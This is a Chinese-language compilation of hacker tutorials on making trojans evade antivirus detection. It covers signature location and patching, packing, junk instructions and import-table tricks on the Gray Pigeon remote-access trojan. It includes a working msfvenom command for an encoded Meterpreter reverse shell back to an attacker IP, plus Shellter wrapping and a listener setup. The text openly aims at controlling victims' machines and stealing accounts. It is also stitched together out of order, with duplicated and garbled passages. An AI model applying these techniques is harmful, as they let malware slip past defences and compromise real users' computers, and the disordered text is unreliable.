木马免杀全攻略
木马免杀基础知识

1.4 Section Table
PE Header 接下来的数组结构 Section Table (节表)。如果PE文件里有5个节,那么此 Section Table 结构数组内就有5个成员,每个成员包含对应节的属性、文件偏移量、虚拟偏移量等。图1中的节表有4个成员。
1.5 Sections
10.加壳(这个大家应该都会)
11.入口点加1(这个不说了,傻B都会哦)
12.垃圾代码清0(这个要一点汇编基础,能看懂哪些代码是没用的就行!)
13.这里省略!因为太多了~~
这些是比较普通的免杀方法,那么当然有很多变态免杀方法了。我们得先把这几种普通的免杀方法先掌握,在以后的教程中我会给大家公布一些我自己的免杀方法!
|--------------|
|PE Header |
|--------------|
|Section Table |
|--------------|
|Section 1 |
|--------------|
|Section 2 |
|--------------|
|Section ... |
常用免杀方法:
1.特征码定位
(主要是用CCL和MYCCL等工具定位出杀毒软件的特征码,然后对相应的特征码做适当的修改,从而实现免杀)优点:效果好。 缺点:费时间。
2.大小写替换(大小写转换)
3.指令顺序调换(把两个指令换个位子法不是很通用)
1.3 PE Header
紧接着 DOS Stub 的是 PE Header。它是一个 IMAGE_NT_HEADERS 结构。其中包含了很多PE文件被载入内存时需要用到的重要域。执行体在支持PE文件结构的操作系统中执行时,PE装载器将从 DOS MZ header 中找到 PE header 的起始偏移量。因而跳过了 DOS stub 直接定位到真正的文件头 PE header。
木马免杀技术

木马免杀技术一、杀毒软件的查杀模式杀毒软件的查杀模式分三种1.文件查杀2.内存查杀3.行为查杀这三种是目前杀毒软件常用的杀毒模式。
所谓的文件查杀就是杀毒软件对磁盘中的文件进行静态扫描,一旦发现文件带有病毒库中的病毒特征代码就给予查杀。
内存查杀是杀毒软件把病毒特征代码释放到内存中,然后与内存中的文件进行比对,发现有文件中带有病毒特征代码就给予查杀。
现在最厉害的内存查杀当然是瑞星了,其他杀毒软件也有内存查杀但比不上瑞星的厉害。
行为杀毒是杀毒软件用木马运行后的一些特定的行为作为判断是否为木马的依据。
比如:啊拉QQ大盗在运行后会增加一个名为NTdhcp.exe的进程,还有彩虹桥的服务端在运行后会在注册表添加名为HKLM\SOFTWARE\Microsoft\Active Setup\InstalledComponents\{9B71D88C-C598-4935-C5D1-43AA4DB90836}\stubpath的键值。
行为杀毒的典型杀毒软件—绿鹰PC万能精灵。
二.根据杀毒软件的查杀模式总结出免杀方法主要针对文件的文件查杀和内存查杀1.文件查杀A.加壳免杀B.修改壳程序免杀C.修改文件特征代码免杀D.加花指令免杀2.内存查杀A.修改内存特征代码B.阻止杀毒软件扫描内存====================================================== ================A.加壳免杀建议你选择一些生僻壳、茾@恰⑿驴牵 蛘呒佣嘀乜牵 馍钡氖奔洳怀?可能很快被杀,不过和加密工具配合使用一些杀毒软件是很容易过的但瑞星的内存不过。
B.修改壳程序免杀主要有两种:一是通过加花指令的方法把壳伪装成其它壳或者无壳程序。
C.修改文件特征代码免杀,此方法的针对性是非常强的,就是说一般情况下你是修改的什么杀毒软件的特征代码,那么就只可以在这种杀毒软件下免杀。
以前常用的工具有CCL特征码定位器,不过现在用起来不是那么方便了,比如黑防鸽子他有多出特征代码,给新手学习定位增加了一定的难度,现在主要推荐的是MYCCL特征码定位器,个人感觉定位速度快,准确率高,尤其对那些有多处特征码的定位。
超全面的免杀技术经验总结

超全面的免杀技术经验总结免杀技术经验总结(感觉经典)学习免杀,首先你得学会汇编把,基础的指令要懂得一些,一般的指令修改必须会,一般的修改这里就不赘述了,接下来就是掌握一些常用的免杀技巧,这里总结一些第一:我们学习免杀的方向:只是为了保护自己的黑软的话!就不会学的那么累(没必去学汇编编程)有时候简单加下壳或者脱下壳就OK!如果是要挑战世界的杀毒软件的话,毕竟每个PC用户安装的杀软都不一样!想抓鸡拿服务器的朋友就要进修脱壳破解,高级汇编的内容了,这将决定你免杀技术的高低!第二:免杀的环境:做免杀,逃不了测试这个木马是不是修改成功!所以为了保护自己的系统,我建议学免杀要先学会使用虚拟机,很多人会说,为什么不用影子?影子系统虽然也是可以保护的,暂用资源又少,但是有些反弹型木马,我们运行后如果失败(即使成功)都需要重启来完成完全清除的工作!做过QQ盗号木马跟黑鹰远控软件免杀的朋友应该深有体会!第三:杀软的安装设置:个人建议安装卡巴,NOD32,小红伞,瑞星,金山!(当然配置好的电脑可以再加上江民,麦咖啡)!硬盘大的朋友建议全利用虚拟机安装杀软(方便以后重做系统,节省升级病毒库的时间)杀软的设置,可以说是很简单的!每安装完一个杀软,我们都要先在杀软设置里把监控跟自我保护的选项的钩去掉!然后升级病毒库!升级完后再关闭服务跟启动项(利用360安全卫士)这样安装其他的杀软就不会起冲突了!这里注意下!瑞星升级后会自己更改自己的服务为自动,所以瑞星建议最后装,最后升级,再关闭它的服务!这里我想大家肯定是关心杀软的序列号从哪来的吧!瑞星有体验版,金山有37天试用版,NOD32利用PPLOVE网络电视有180天试用!卡巴等洋货在百度上搜索均有可用的序列号!这个就是考验大家的细心了!呵呵!卡巴不建议装6.0.7.0的,人家都在央视打广告了,我们就装2009把!(虽然卡巴的启发比不上NOD32的,但是它的主动可是免杀爱好者的"粉丝")杀软的查杀特点:卡巴:主动+高启发扫描~~,效果相当厉害,卡巴的主动非常麻烦,SSDT也被封了,启发式也极难通过,还是要取决于木马本身的实力了,瑞星:国内木马的超级对手可以这么说!对国内的木马定位的特征是洋货的N倍(鸽子见证)主要查杀技术是内存查杀技术,但是对一些生僻的木马,内存病毒库里竟然没有,只要过了表面就可以过内存......主动主杀敏感字符串,不过2009的主动貌似改进了不少......广告卖的倒不错,但是只是针对流行木马!其他不常见木马并没有加大什么强度!NOD32:启发扫描的头领!主杀输入表函数,针对MYCCL定位器做过调整!定位建议用multiCCL这个来定位!不过这个大块头对生僻壳的侦壳能力不强!加些生僻壳把一些函数保护起来可以让它无用武之地!(这类壳主要是加密型,不建议用压缩型)金山:数据流查杀技术的代表!简单来说跟瑞星内存查杀技术有点一样!病毒库升级,查杀病毒速度都是超级快!但是杀毒能力比较上面的几款有点逊色!360与金山清理专家:行为查杀的代表,金山清理专家比360查杀力度还大!但是监控能力......实在不想说!不过360的5.0版加了木马云查杀,据说不是很好过(没试过~~~)以上可以说是所有集合杀软的特点:文件查杀,内存查杀,启发查杀,数据流查杀!行为查杀!主动防御!每个杀软都有自己的特点,一个人也不可能把全球杀软都安装起来研究,但是以上4个杀软跟一个辅助可以说全包括了病毒查杀特点!也不能说哪个不好,哪个很好!有些木马这个杀软杀不出来~~那个就可以杀出来!所以对于现在网上有些朋友对个别杀毒软件不重视,就会导致你所谓的"肉鸡"插翅难飞!嘻嘻!接下来就说说技巧方面的1.比如你定位一个特征码定位到了一个字符串上我们比如这个特征码定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows\CurrentVersion\Run,遇到这个我想大家一定是修改大小写吧,但是有时候修改大小写还是被杀。
教你如何将你的木马躲过杀毒软件的查杀

教你如何将你的木马躲过杀毒软件的查杀(制作免杀木马教程)一.关于免杀的来源为了让我们的木马在各种杀毒软件的威胁下活的更久. 二.什么叫免杀和查杀可分为二类: 1.文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描,所得结果。
2.内存的免杀和查杀:判断的方法1运行后,用杀毒软件的内存查杀功能. 2用OD载入,一.关于免杀的来源为了让我们的木马在各种杀毒软件的威胁下活的更久.二.什么叫免杀和查杀可分为二类:1.文件免杀和查杀:不运行程序用杀毒软件进行对该程序的扫描,所得结果。
2.内存的免杀和查杀:判断的方法1>运行后,用杀毒软件的内存查杀功能.2>用OD载入,用杀毒软件的内存查杀功能.三.什么叫特征码1.含意:能识别一个程序是一个病毒的一段不大于64字节的特征串.2.为了减少误报率,一般杀毒软件会提取多段特征串,这时,我们往往改一处就可达到免杀效果,当然有些杀毒软件要同时改几处才能免杀.(这些方法以后详细介绍) 3.下面用一个示意图来具体来了解一下特征码的具体概念四.特征码的定位与原理1.特征码的查找方法:文件中的特征码被我们填入的数据(比如0)替换了,那杀毒软件就不会报警,以此确定特征码的位置2.特征码定位器的工作原理:原文件中部分字节替换为0,然后生成新文件,再根据杀毒软件来检测这些文件的结果判断特征码的位置五.认识特征码定位与修改的工具L(特征码定位器)2.OOydbg (特征码的修改)3.OC用于计算从文件地址到内存地址的小工具.4.UltaEdit-32(十六进制编辑器,用于特征码的手工准确定位或修改)六.特征码修改方法特征码修改包括文件特征码修改和内存特征码修改,因为这二种特征码的修改方法是通用的。
所以就对目前流行的特征码修改方法作个总节。
方法一:直接修改特征码的十六进制法1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能否正常使用.方法二:修改字符串大小写法1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.2.适用范围:特征码所对应的内容必需是字符串,否则不能成功.方法三:等价替换法1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等. 如果和我一样对汇编不懂的可以去查查8080汇编手册.方法四:指令顺序调换法1.修改方法:把具有特征码的代码顺序互换一下.2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行方法五:通用跳转法1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.七.木马免杀的综合修改方法文件免杀方法:1.加冷门壳2.加花指令3.改程序入口点4.改木马文件特征码的5种常用方法5.还有其它的几种免杀修改技巧内存免杀方法:修改内存特征码:方法1>直接修改特征码的十六进制法方法2>修改字符串大小写法方法3>等价替换法方法4>指令顺序调换法方法5>通用跳转法木马的免杀[学用CLL定位文件和内存特怔码]1.首先我们来看下什么叫文件特征码.一般我们可以这样认为,一个木马程序在不运行的情况下,用杀毒软件查杀,若报警为病毒,说明存在该查毒软件的文件特征码的。
木马免杀基础知识

一.免杀工具:myccl:特征码定位器PEID:查壳工具C32Asm:特征码修改工具[静态]Ollybg:特征码修改工具[动态]OC:文件地址内存地址换算器加花工具:怒剑狂花加区段工具:zeroadd加密工具:兼容性较好的,maskPE2.0和VMProtect v 1.4压缩工具:upx,aspack北斗壳二.熟悉掌握的术语与操作:加密工具操作花指令编写手工加花myccl复合特征码,内存特征码定位方法特征码修改三.研究免杀方法与技巧1.善于收集新免杀工具,有特效的压缩工具,免杀器等.比如收集一些可直接过杀软的压缩,加密工具2.理解免杀原理,熟悉各种杀毒软件的查杀特点3.多学习相关汇编知识相关汇编资料4.看别人优秀教程,举一反三.5.大胆的猜想与不断的实验和测试.四:特征码与花指令的详细定义与修改添加的方法等价替换、通用跳转、指令顺序调换、大小写替换、特征码十六进制加减1、NOP、填0、以及特殊常见指令的修改方法.JMP 无条件转移指令CALL 过程调用RET/RETF 过程返回.PUSH 压入堆栈.NOP 空操作.等价替换:修改方法:JMP = JE JNE je改成jle ja/jle适用范围:把特征码所对应的汇编指令命令中替换成类拟的指令通用跳转法:修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.(可以换成push xxxx retn)适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.指令顺序调换法:修改方法:把具有特征码的代码顺序互换一下.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行修改字符串大小写法:修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.适用范围:特征码所对应的内容必需是字符串,否则不能成功.(注意:函数不能用这种方法)直接修改特征码的十六进制法(特征码十六进制加减1、nop)修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制、或者填充90(nop)或者填0适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能否正常使用.test eax, eax很多程序都是用test eax, eax来做检测返回值是否为0,那么遇到test eax, eax 那么可以直接改or eax, eaxcall例子:call 11111111改成 call 22222222 (22222222为0区域)2222处jmp 11111111五:简单花指令的编写PUSH 把字压入堆栈.POP 把字弹出堆栈.PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈.POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈.ADD 加法.ADC 带进位加法.INC 加1.AAA 加法的ASCII码调整.DAA 加法的十进制调整.SUB 减法.SBB 带借位减法.DEC 减1.JMP 无条件转移指令CALL 过程调用RET/RETN 过程返回.。
msf反弹木马之免杀

msf反弹⽊马之免杀原理利⽤msf模块中的msfvenom模块,⾸先⽣成.exe⽊马⽂件,⽤靶机打开,攻击成功后,就渗透到了靶机系统中。
准备win7靶机 ip :192.168.56.130kali攻击机 ip: 192.168.56.135##实战开始1.打开kali机,在命令⾏输⼊:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.135 lport=1234 -e x86/shikata_ga_nai -i 5 -f exe >/home/kali/Desktop/1.exeLHOST是主机的ip,⽤来“提醒”⽊马成功后应该返回信息给⾃⼰的主机。
lport是返回时连接的端⼝号,需要开启tcp功能,1234端⼝好像默认开启?> 后⾯的那⼀串表⽰⽊马⽣成的对应地址,为了⽅便操作我直接⽣成在桌⾯上。
-e x86/shikata_ga_nai 为使⽤shikata_ga_nai的编码⽅式对攻击载荷进⾏重新编码-i 5为使⽤刚才设定的编码⽅式对⽬标进⾏5次编码2.命令⾏输⼊shellter第⼀个选项选择A3.PE Target 后⾯填写/home/kali/Desktop/1.exe,即⽊马所在路径。
然后等待⼀段时间······注意,虽然看着不动,但是上⾯那个数字⼀直在跳,所以不是你卡住了~ 4.然后选择Y5.选择L,payload index 选择16.设置LHOST以及LPORT等个⼤概2秒钟,就结束了~免杀⽊马制作完成。
命令⾏输⼊msfconsole进⼊metasploit。
然后输⼊use exploit/multi/handler开启监听模式接下来就是设置参数了,可以使⽤option命令来查看需要设置的参数。
主要设置三个:payload、LHOST、LPORT,需要跟⽊马⼀样,复制⼀下就⾏set payload windows/meterpreter/reverse_tcpset lhost 192.168.56.135set lport 1234这⾥⼤⼩写随意,都可以被识别。
木马免杀之汇编花指令技巧(精)

木马免杀之汇编花指令技巧作者:逆流风(发表于《黑客X档案》07.07,转载注明出处)相信很多朋友都做过木马免杀,早期的免杀都是加壳和改特征码,现在免杀技术已经发展到花指令免杀,改壳之类的,而这些需要一定的汇编知识,但是汇编却不是一块容易啃的骨头,所以我写了这篇菜鸟版的免杀汇编教程,帮助小菜们快速入门,掌握免杀必备的汇编知识,改花指令,改特征码的技巧和编写自己的花指令。
一、免杀必备的汇编知识push 压栈,栈是一种数据结构,记住四个字:先进后出。
压栈就是把数据放如栈中,从栈顶放如,出栈的时候也是从栈顶取出,所以会有先进后出的特点!先进后出我们可以这样理解,例如:一个乒乓球筒,我们放入乒乓球,然后取出乒乓球,取出的都是就后放进的球。
就如我们放入球的顺序是球1、2、3、4,取出的顺序是球4、3、2、1。
pop 出栈,与push相对应。
mov a,b 把b的值送给a,把它看作编程中的赋值语句就是b赋值给a,这时a的值就是b了。
nop 无作用,就是什么也没做。
retn 从堆栈取得返回地址并跳到该地址执行。
下面是一些算术运算指令:ADD 加法sub 减法inc 加1dec 减1最后是跳转指令:jmp 无条件跳je 或jz 若相等则跳jne或jnz 若不相等则跳jb 若小于则跳jl 若小于则跳ja 若大于则跳jg 若大于则跳jle 若小于等于则跳jge 若大于等于则跳这些就是我们需要掌握的,怎么样不多吧,一些指令可能看不明白,看了后面的就会清楚了。
对了,忘了讲寄存器了,寄存器是中央处理器内的其中组成部份。
寄存器是有限存贮容量的高速存贮部件,它们可用来暂存指令、数据和位址。
我们需要了解的是8个通用寄存器:EAX,EBX,ECX,EDX,ESI,EDI,EBP,ESP二、特征码和花指令的修改特征码我就不多说了,大家都知道的,现在杀毒软件查杀都用特征码查杀,改了木马的特征码,杀毒软件就查不出我们的木马,这样就达到免杀的效果。
教你如何将你的木马躲过杀毒软件的查杀(制作免杀木马教程)

由于黑客网站公布的花指令过不了一段时间就会被杀软辨认出来,所以需要你自己去搜集一些不常用的花指令,另外目前还有几款软件可以自动帮你加花,方便一些不熟悉的朋友,例如花指令添加器等。
五.常见花指令代码
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
PUSH EDI
POP EAX
POP EAX
POP EAX
ADD ESP,68
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
POP EAX
POP EAX
MOV EBP,EAX
JMP 原入口
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
3选中设置中的 手动参数,,,,,选择替换方式 选中,,,总共生成规定个数的文件,,,生成个数为1000
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
1.杀毒原理通常,一个病毒防御工作者拿到一个截获或上报上来的病毒时,先是分析这个病毒文件执行后的动作,所谓“动作”,就是指病毒文件执行后会做哪些操作。
例如会生成什么新文件、怎样更改注册表、怎样注册服务、打开什么端口等等。
搞明白这些后,下一步一般会研究这个病毒的文件结构,然后找出与众不同的地方,将其定义为特征码。
而这个特征码定义的高明与否,就要看他定义的位置是否刁钻,例如他如果定义的是病毒文件更改注册表键值那部分代码的话,这显然不会太难!因为只要病毒文件更改键值,99%的情况下这个文件里一定存在被更改键值的字符串,所以找到这段字符串的位置就可以定义特征码了。
但是针对这种特征码做免杀是非常容易的,只需找到相应的位置,并更改字母的大小写即可。
而如果从文件头找出一段特征码就是非常不容易的事情了……除此之外,所定义的特征码还有一个分支,即内存特征码。
所谓内存特征码就是指木马文件运行后释放到内存时所存在的特征,它的原理大体与上面介绍的文件特征码一样。
当特征码定义出来之后,就会被提交到另外的一个部门,然后进入病毒定义库,当用户更新后,以后杀毒软件在碰到符合要求的文件时就会将其毫不忧郁的杀掉!也就是说,杀毒软件只认特征码,不认文件。
由此可见,病毒防御工作者寻找特征码的方式也不过如此,但这只是定义病毒文件特征码的工作,别的例如修复被感染文件等技术步骤和本文无关,在这也就不介绍了,有兴趣的朋友可以自己研究一下。
2.免杀分类免杀的方法有很多,无奈没见哪为朋友综合系统的介绍,也苦了小菜们求学无门,只好掏银子找“师傅”,所以我就自告奋勇站出来一次,不足之处还请各位高手多多包涵……我个人总结的免杀方法总共分两类,即主动免杀与被动免杀。
一、主动免杀1. 修改字符特征:主动查找可能的特征码,包括木马文件修改注册表、生成新文件的名称与路径、注入的进程名等动作,也包括运行过程中可能出现或一定会出现的字符等文件特征。
然后找出这些字符,并将其修改。
2. 修改输入表:查找此文件的输入表函数名(API Name),并将其移位。
3. 打乱文件结构:利用跳转(JMP),打乱文件原有结构。
4. 修改入口点:将文件的入口点加1。
5. 修改PE段:将PE段移动到空白位置二、被动免杀1. 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
2. 用Vmprotect:使用Vmprotect加密区段。
3. 文件加壳:可以用一些比较生僻的壳对木马文件进行保护。
有的朋友看到这里有可能蒙了,PE、Vmprotect、入口点……这些都是什么意思啊?不要着急,下面我会一一介绍的,只要你看完这篇文章,就一定会成为免杀高手!怎么样?Go!3.实战演习1.)修改字符特征好,下面我们依然以一个病毒防御工作者的角度来考虑我们每一步应该做什么,然后在利用逆向思维分而治之。
现在假如我们拿到一个木马样本灰鸽子,首先当然要分析它究竟有什么功能,怎样运行以及怎样保护自己等。
其实这一步要求的专业知识是很多的,但考虑到我们的读者,我们暂且用一个比较简单易行的方法——运行木马AND查看此程序的帮助文档。
我们打开RegSnap,新建一个快照,打开RegSnap后,点击[新建快照]按钮(如图1)。
在弹出的对话框中选择[生成所有项目的快照](如图2)。
然后保存快照,现在已经将RegSnap配置好了,下面运行我们的木马程序(提醒:做免杀时,一定要记住养好随时备分的好习惯,以防止修改错误或是实验运行时破坏、删除木马)。
木马运行完毕后,我们在按照上面的方法重新做一个快照并保存,然后按快捷键F5,在弹出的“比较快照”对话框中选择刚才保存的快照,在“第一个快照”中选择我们刚才第一次保存的快照,而“第二个快照”选择我们后保存的快照存档,很快结果就出来了(如图3)。
有的朋友对于使用RegSnap收集到的信息感到无力分析,抱怨收集到的东西太多,在这里我简单的介绍一下,首先应注意的是生成做对比的两个快照之间的时间要尽可能短,另外要排除带有OpenSaveMRU的注册表键值,还要排除有关*.rsnp文件的创建读写等操作记录。
下面我们就将有用的信息提取出来,逐一分析。
文件列表于 C:\WINDOWS\*.*新增文件木马.exe注册表报告新增主键HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\ Documents and Settings\A1Pass-admin\桌面\huigezi\复件 Server02.exe键值: 字符串: "复件 Server02"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_*6728*9A6C*6 70D*52A1\0000\Class键值: 字符串: "LegacyDriver"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_*6728*9A6C*6 70D*52A1\0000\ClassGUID键值: 字符串: "{8ECC055D-047F-11D1-A537-0000F8753ED1}"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_*6728*9A6C*6 70D*52A1\0000\Control\ActiveService键值: 字符串: "木马服务"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\木马服务\Description键值: 字符串: "灰鸽子服务端程序。
远程监控管理."……这里我只摘录了部分关键性的木马动作记录,全部记录请见光盘。
通过文件列表我们可以知道木马在WINDOW目录下生成了一个新文件,而通过注册表的监控信息我们也知道了木马是怎样将自己注册为系统服务并自动运行的。
那么我们回到瑞星的研究分析室,看看那些大哥大姐们会怎么办……瑞星大哥:“最近这灰鸽子太猖狂啦!我们是不是应该多定义几套特征码?”瑞星大姐:“恩,不错!先在注册表那定义一套特征码在说吧。
”A1Pass:“STOP!!”(只见画面突然定格,A1Pass将播放器最小化。
)通过上面的对话,我们可以知道他们要将注册表的某个字符定义为特征码,从上面RegSnap分析出来的记录来看,他们的选择真的是太多了!那么他们究竟会用到哪些呢?其实,就做为一个黑客来讲,只要不影响服务端正常运行,就应该尽量多的改掉木马的所有字符,当然全部改变是不可能的,除非你自己编写木马。
有的朋友要问了,除了注册表别的就不可以改了吗?答案当然是否定的,譬如生成新文件的名称与路径、注入的进程名等动作,这些我们可以利用WINDOWS对字母大小写不敏感的这一特点直接替换字母的大小写,而对于运行过程中可能出现或一定会出现的字符等我们可以直接将其替换成别的内容。
下面我为大家演示一下怎样更改注入进程的名称。
首先配置服务端,通过图4我们可以看出来灰鸽子的启动运行是需要“IEXPLORE.EXE”这个进程的,根据注册表的推理,我们可以认为其未加壳的服务端是应该存在“IEXPLORE.EXE”这一字符串的。
既然如此,我们就先请出我们的第一把武器“WinHex”!WinHex是一款极为出名16进制编辑器。
得到 ZDNetSoftwareLibrary 五星级最高评价,拥有强大的系统效用。
在这里,我们只用它来编辑文件,其余不做过多讨论。
首先我们用WinHex打开我们的木马文件“Server.exe”,打开后如图5所然后我们按[Ctrl]+[F]快捷键调出查找文本对话框,输入IEXPLORE.EXE后点击“是”(如图6)。
结果如图7所示。
下面我们就对其进行大小写转换,用鼠标点击要更改的字母(例如I),然后在按键盘上的i,即可完成更改,就象使用WINDOWS的记事本一样。
更改完毕后,按[Ctrl]+[S]快捷键保存即可。
就这么简单?对!就这么简单!其他的例如注册表、生成新文件的名称与路径等等都可以利用此方法更改。
但是不幸的是,经过这样改后,还不足以对付例如金山、江民等品牌杀毒软件,要想对付这些杀毒软件的查杀,我们还需要对我们的木马进行进一步处理。
下面,我们开始学习输入表函数(APIName)免杀!2.)修改输入表不知有的朋友是否知道,PE文件的正常运行是离不开其内部输入表函数的,而不同的程序,其内部输入表函数的名称与在文件中的位置是不一样的,所以输入表函数也成了病毒防御工作者制作特征码紧盯的地方之一。
在我查出来的关于灰鸽子的特征码来看,“瑞星大哥” 已经将其的一处输入表函数作为特征码了。
所以掌握输入表函数免杀技巧对于新入门的朋友来说势在必行![PE文件小知识:PE文件是WINDOWS系统中特有的一种文件结构,它包括PE文件头、输入表与相关资源文件等等]经过我的测试,直接单独修改文件内部的输入表函数会导致程序运行不正常甚至崩溃!那就没有办法了吗?我可没那么容易认输!经过一翻苦战,终于让我在LordPE中找到了解决办法,同时FoBnN的文章也给了我非常大的启发……我们先打开LordPE,点击[PE编辑器]按钮,在弹出的对话框中选中木马文件,打开后点击[目录](如图8)。
在点击导入表后面的[…](如图9)。
在弹出的对话框中我们选择wininet.dll下的InternetOpenUrlA(如图10),有的朋友要问了,为什么非选择 InternetOpenUrlA这个输入表函数呢?呵呵!那是因为这个输入表里有特征码哦,关于怎样确定特征码,我在后面会介绍,大家先别着急。
好的,关于LordPE就先停在这,下面我们就用WinHex来查找InternetOpenUrlA 这个输入表函数的所在位置,并将其用0填充(操作方法:单击WinHex右面的16进制信息,输入0即可)(如图11、12)。
然后将其写到空白区域(既显示000000的区域),一定要从头开始写入,这样在以后计算地址时不容易出错,除此之外也要注意输入表函数的大小写不要搞错(如图13)。
保存后我们在回到LordPE那里,在需要更改的InternetOpenUrlA输入表函数上单击右键,在弹出的菜单里选择“编辑”,将Thunk里的信息改成000B9D5E(如图14)即可。
有的朋友要问了,刚才我们不是把那个输入表函数放到000B9D60那里了吗?到这怎么变成000B9D5E了?其实原理很简单,因为每个输入表函数前面都是有一个空格的,我们虽不用真正把那个空格加进去,但填写它的地址时一定要空出来,否则就会出错!而将000B9D60减去一个空格所占的位置,其地址正好为000B9D5E,还不十分明白的朋友在仔细看看图13,下面我们在回到LordPE,看看我们改过的输入表函数变成什么样了(如图15)?很,只要在重新改一下输入表函数的名称就可以了(如图16)。